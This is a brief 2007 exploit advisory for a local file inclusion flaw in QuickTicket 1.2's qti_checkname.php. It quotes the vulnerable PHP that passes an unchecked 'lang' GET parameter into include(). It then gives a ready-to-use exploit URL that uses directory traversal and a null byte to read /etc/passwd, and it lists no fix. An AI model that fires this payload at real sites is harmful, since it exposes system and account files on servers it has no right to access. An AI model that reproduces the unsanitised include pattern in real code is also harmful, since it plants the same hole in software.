QuickTicket 1.2 (qti_checkname.php) Local File Inclusion Vulnerability

2007-06-27 00:00:00

###QuickTicket v1.2 Local File Inclusion###

#download: http://www.qt-cute.org/download/qti12.zip

#found by: katatafish ([email protected])

#vulncode:
$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");

#exploit:
http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

#

Fixes

No fixes

In order to submit a new fix you need to be registered.